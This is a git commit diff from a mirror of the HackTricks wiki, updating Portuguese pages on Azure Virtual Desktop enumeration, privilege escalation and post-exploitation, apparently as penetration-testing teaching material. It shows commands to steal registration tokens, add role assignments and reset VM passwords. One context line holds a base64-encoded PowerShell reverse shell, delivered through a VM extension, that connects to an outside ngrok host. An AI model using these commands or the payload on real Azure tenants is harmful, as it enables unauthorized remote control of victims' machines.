mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
# Az - VMs & Network Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtual Desktop
|
||||
|
||||
Para mais informações sobre Virtual Desktop, consulte a seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-virtual-desktop.md
|
||||
{{#endref}}
|
||||
|
||||
### Técnicas comuns
|
||||
|
||||
- Sobrescrever um **pacote MSIX da conta de armazenamento** para obter RCE em qualquer VM que use esse aplicativo.
|
||||
- Em um remoteapp, é possível alterar o **caminho do binário a ser executado**.
|
||||
- **Escapar de aplicativos** para um shell e obter RCE.
|
||||
- Qualquer ataque de pós-exploração e persistência de **Azure VMs.**
|
||||
- É possível **configurar um script para ser executado** no pool para aplicar configurações personalizadas.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,14 +4,24 @@
|
||||
|
||||
## Azure Virtual Desktop Privesc
|
||||
|
||||
Para mais informações sobre Azure Virtual Desktop, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-virtual-desktop.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
|
||||
Você pode recuperar o token de registro usado para registrar máquinas virtuais dentro de um pool de hosts.
|
||||
```bash
|
||||
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
|
||||
```
|
||||
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
|
||||
### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Com essas permissões, você pode adicionar uma atribuição de usuário ao grupo de Aplicativos, que é necessária para acessar a máquina virtual do desktop virtual.
|
||||
> [!WARNING]
|
||||
> Um atacante com essas permissões poderia fazer coisas muito mais perigosas do que esta.
|
||||
|
||||
Com essas permissões, você pode adicionar uma atribuição de usuário ao grupo de Aplicativos, que é necessária para acessar a máquina virtual do desktop virtual:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
|
||||
@@ -22,12 +32,6 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Além disso, você pode alterar o usuário e a senha da máquina virtual para acessá-la.
|
||||
```bash
|
||||
az vm user update \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <VM_NAME> \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
Observe que, para que um usuário possa acessar um Desktop ou um aplicativo, ele também precisa do papel `Virtual Machine User Login` ou `Virtual Machine Administrator Login` sobre a VM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -65,7 +65,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Executar shell reverso a partir de arquivo
|
||||
- Execute shell reverso a partir de arquivo
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -310,7 +310,7 @@ Faça login via **SSH** com **`az ssh vm --name <vm-name> --resource-group <rsc-
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios para ela.
|
||||
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios a ela.
|
||||
|
||||
Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica.
|
||||
```bash
|
||||
@@ -349,8 +349,18 @@ Então, o atacante precisa ter **comprometido de alguma forma a VM** para roubar
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
|
||||
|
||||
Essas permissões permitem alterar o usuário e a senha da máquina virtual para acessá-la:
|
||||
```bash
|
||||
az vm user update \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <VM_NAME> \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
|
||||
De acordo com a [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como um administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -9,56 +9,99 @@ Virtual Desktop é um **serviço de virtualização de desktop e aplicativos**.
|
||||
### Host Pools
|
||||
|
||||
Os host pools no Azure Virtual Desktop são coleções de máquinas virtuais do Azure configuradas como hosts de sessão, fornecendo desktops e aplicativos virtuais para os usuários. Existem dois tipos principais:
|
||||
- **Host pools pessoais**, onde cada máquina virtual é dedicada a um único usuário, com seus ambientes
|
||||
- **Host pools compartilhados**, onde vários usuários compartilham recursos em qualquer host de sessão disponível. Possui um limite de sessão configurável e uma configuração de host de sessão permite que o Azure Virtual Desktop automatize a criação de hosts de sessão com base em uma configuração
|
||||
|
||||
Cada host pool tem um **token de registro** que é usado para registrar máquinas virtuais dentro de um host pool.
|
||||
- **Host pools pessoais**, onde cada máquina virtual é dedicada a um único usuário.
|
||||
- Pode ser configurado para que o **administrador possa atribuir** usuários específicos às VMs ou ter isso feito **automaticamente**.
|
||||
- Isso é ideal para pessoas com cargas de trabalho intensivas, pois cada pessoa terá sua própria VM. Além disso, eles poderão armazenar arquivos e configurar definições no disco do SO, e essas persistirão, já que **cada usuário tem sua própria VM (host)**.
|
||||
|
||||
### Application groups & Workspace
|
||||
Os grupos de aplicativos **controlam o acesso do usuário** a um desktop completo ou conjuntos específicos de aplicativos disponíveis em hosts de sessão dentro de um host pool. Existem dois tipos:
|
||||
- **Grupos de aplicativos de desktop**, que dão aos usuários acesso a um desktop completo do Windows (disponível tanto com host pools pessoais quanto compartilhados)
|
||||
- **Grupos RemoteApp**, que permitem que os usuários acessem aplicativos publicados individuais (disponível apenas com host pools compartilhados).
|
||||
Um host pool pode ter um grupo de aplicativos de desktop, mas múltiplos grupos RemoteApp. Os usuários podem ser atribuídos a múltiplos grupos de aplicativos em diferentes host pools. Se um usuário for atribuído a grupos de desktop e RemoteApp dentro do mesmo host pool, ele verá apenas os recursos do tipo de grupo preferido definido pelos administradores.
|
||||
- **Host pools compartilhados**, onde múltiplos **usuários compartilham recursos** em hosts de sessão disponíveis.
|
||||
- É possível configurar um **número máximo de usuários** (sessões) por host.
|
||||
- É possível **adicionar VMs manualmente** usando chaves de registro, ou **permitir que o Azure escale automaticamente** o número de hosts sem ter a opção de adicionar VMs usando a chave de registro. Não é possível escalar VMs automaticamente para pools pessoais.
|
||||
- Para persistir arquivos nas sessões dos usuários, é necessário usar **FSlogix**.
|
||||
|
||||
Um **workspace** é uma **coleção de grupos de aplicativos**, permitindo que os usuários acessem os desktops e grupos de aplicativos atribuídos a eles. Cada grupo de aplicativos deve estar vinculado a um workspace, e ele pode pertencer a apenas um workspace por vez.
|
||||
### Session Hosts
|
||||
|
||||
### Key Features
|
||||
- **Criação Flexível de VM**: Crie máquinas virtuais do Azure diretamente ou adicione máquinas virtuais locais do Azure posteriormente.
|
||||
- **Recursos de Segurança**: Ative o Trusted Launch (inicialização segura, vTPM, monitoramento de integridade) para segurança avançada de VM (uma rede virtual é necessária). Pode integrar o Azure Firewall e controlar o tráfego via Grupos de Segurança de Rede.
|
||||
- **Juntar ao Domínio**: Suporte para junções de domínio do Active Directory com configurações personalizáveis.
|
||||
- **Diagnósticos & Monitoramento**: Ative as Configurações de Diagnóstico para transmitir logs e métricas para Log Analytics, contas de armazenamento ou hubs de eventos para monitoramento.
|
||||
- **Modelos de imagem personalizados**: Crie e gerencie-os para usar ao adicionar hosts de sessão. Adicione facilmente personalizações comuns ou seus próprios scripts personalizados.
|
||||
- **Registro de Workspace**: Registre facilmente grupos de aplicativos de desktop padrão em workspaces novos ou existentes para simplificar a gestão de acesso dos usuários.
|
||||
Essas são as **VMs às quais os usuários se conectarão.**
|
||||
|
||||
- Se a escalabilidade automática foi selecionada, um modelo será criado com as **características dos hosts** que precisam ser criados para o pool.
|
||||
- Se não, ao criar o Host pool, é possível indicar as **características e o número de VMs** que você deseja criar, e o Azure as criará e adicionará para você.
|
||||
|
||||
As principais características para **configurar as VMs** são:
|
||||
|
||||
- O **prefixo** do nome das novas VMs
|
||||
- O **tipo de VM**: Isso pode ser “máquina virtual do Azure” (para usar VMs do Azure) ou “máquina virtual local do Azure”, que permite que hosts sejam implantados localmente ou na borda.
|
||||
- A localização, zonas, opções de segurança da VM, imagem, CPU, memória, tamanho do disco…
|
||||
- A **VNet, grupo de segurança e portas** a serem expostas à internet
|
||||
- É possível definir credenciais para **juntar-se automaticamente a um domínio AD**, ou usar o diretório Entra ID
|
||||
- Se for Entra ID, é possível **inscrever automaticamente a nova VM no Intune**
|
||||
- É necessário definir um **nome de usuário e senha de administrador**, a menos que o Azure escale os hosts; nesse caso, um **segredo deve ser configurado com o nome de usuário e outro com a senha**
|
||||
- É possível **configurar um script a ser executado** para configuração personalizada
|
||||
|
||||
### Application Groups
|
||||
|
||||
**Grupos de aplicativos** controlam o acesso do usuário a um desktop completo ou conjuntos específicos de aplicativos disponíveis em hosts de sessão dentro de um host pool.
|
||||
|
||||
Existem dois tipos de grupos de aplicativos:
|
||||
|
||||
- **Grupos de aplicativos de desktop**, que dão aos usuários acesso a desktops completos do Windows e aplicativos anexados.
|
||||
- **Grupos RemoteApp**, que permitem que os usuários acessem aplicativos individuais.
|
||||
- Não é possível atribuir esse tipo de grupo de aplicativo a um Pool Pessoal.
|
||||
- É necessário indicar o caminho para o binário a ser executado dentro da VM.
|
||||
|
||||
Um Pool Compartilhado pode ter **um grupo de aplicativos de desktop** e **múltiplos grupos RemoteApp**, e os usuários podem ser atribuídos a vários grupos de aplicativos em diferentes host pools.
|
||||
|
||||
Quando um usuário é **concedido acesso**, é dada a ele a função **`Desktop Virtualization User`** sobre o grupo de aplicativos.
|
||||
|
||||
### Workspaces & Connections
|
||||
|
||||
Um **workspace** é uma coleção de grupos de aplicativos.
|
||||
|
||||
Para **conectar-se** ao Desktop ou aplicativos atribuídos, é possível fazê-lo a partir de [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices)
|
||||
E existem outros métodos descritos em [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client)
|
||||
|
||||
Quando um usuário acessa sua conta, ele será **apresentado separado por workspaces tudo ao que tem acesso**. Portanto, é necessário adicionar **cada grupo de aplicativos a um workspace** para que os acessos definidos sejam visíveis.
|
||||
|
||||
Para que um usuário possa acessar um Desktop ou um aplicativo, ele também precisa da função **`Virtual Machine User Login`** ou **`Virtual Machine Administrator Login`** sobre a VM.
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Não é possível atribuir identidades gerenciadas a host pools, então as VMs criadas dentro de um pool as terão.
|
||||
No entanto, é possível **atribuir identidades gerenciadas de sistema e de usuário às VMs** e, em seguida, acessar os tokens a partir dos metadados. Na verdade, após lançar os host pools pela web, as 2 VMs geradas têm a identidade gerenciada atribuída ao sistema habilitada (embora não tenha permissões).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
az extension add --name desktopvirtualization
|
||||
|
||||
# List HostPool of a Resource group
|
||||
az desktopvirtualization hostpool list --resource-group <Resource_Group>
|
||||
# List HostPools
|
||||
az desktopvirtualization hostpool list
|
||||
|
||||
# List Workspaces
|
||||
az desktopvirtualization workspace list
|
||||
|
||||
# List Application Groups
|
||||
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
|
||||
# List Application Groups By Subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
|
||||
az desktopvirtualization applicationgroup list
|
||||
|
||||
# List Applications in a Application Group
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
|
||||
|
||||
# Check if Desktops are enabled
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
|
||||
|
||||
# List Assigned Users to the Application Group
|
||||
az rest \
|
||||
--method GET \
|
||||
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
|
||||
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
|
||||
|
||||
# List hosts
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
|
||||
|
||||
# List Workspace in a resource group
|
||||
az desktopvirtualization workspace list --resource-group <Resource_Group>
|
||||
# List Workspace in a subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
|
||||
|
||||
# List App Attach Package By Resource Group
|
||||
# List App Attach packages
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
|
||||
# List App Attach Package By Subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
|
||||
|
||||
# List user sessions
|
||||
az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03"
|
||||
|
||||
|
||||
# List Desktops
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
|
||||
@@ -68,34 +111,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip
|
||||
|
||||
# List private endpoint connections associated with hostpool.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
|
||||
|
||||
# List private endpoint connections associated By Workspace.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
|
||||
|
||||
# List the private link resources available for a hostpool.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
|
||||
|
||||
# List the private link resources available for this workspace.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
|
||||
|
||||
# List sessionHosts/virtual machines.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
|
||||
|
||||
# List start menu items in the given application group.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
|
||||
|
||||
# List userSessions.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
|
||||
# List userSessions By Host Pool
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
|
||||
|
||||
```
|
||||
### Conexão
|
||||
|
||||
Para se conectar ao desktop virtual via web, você pode acessar através de https://client.wvd.microsoft.com/arm/webclient/ (mais comum), ou https://client.wvd.microsoft.com/webclient/index.html (clássico) Existem outros métodos que são descritos aqui [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
|
||||
|
||||
## Privesc
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-virtual-desktop-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation & Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-virtual-desktop-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user